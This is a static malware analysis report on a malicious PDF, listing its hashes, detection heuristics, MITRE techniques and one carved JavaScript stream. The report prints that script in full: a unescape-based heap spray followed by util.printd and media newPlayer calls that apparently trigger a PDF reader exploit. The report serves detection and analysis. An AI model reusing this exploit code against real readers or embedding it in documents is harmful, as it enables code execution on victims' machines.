Malicious PDF — malware analysis report

Static analysis result for SHA-256 e7315637137a99ed…

MALICIOUS

PDF

884 B First seen: 2026-05-10
MD5: 432b8e4de2950641c851b3e46b6b3337 SHA-1: 5f119a0bfc2532992de833688bbea0eeafb0afb2 SHA-256: e7315637137a99ed956aecd5d494c663b47f01d25b10e5fe36e86fd3f3c3293b
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that utilizes the unescape function and constructs a large string to perform a heap spray. This technique is commonly used to overwrite memory and gain control of execution flow, often leading to the download and execution of a secondary payload. No specific URLs or further execution details were found within the provided script.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var WoA="";
var Wo = unescape(WoA);
var yR = unescape('%u3727%u27f5');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 473 bytes
SHA-256: fb30ced657c05ba40e0b733a6999dc7320539bc1ecc03343d907aff38480ed9f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var WoA="";
var Wo = unescape(WoA);
var yR = unescape('%u3727%u27f5');
for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

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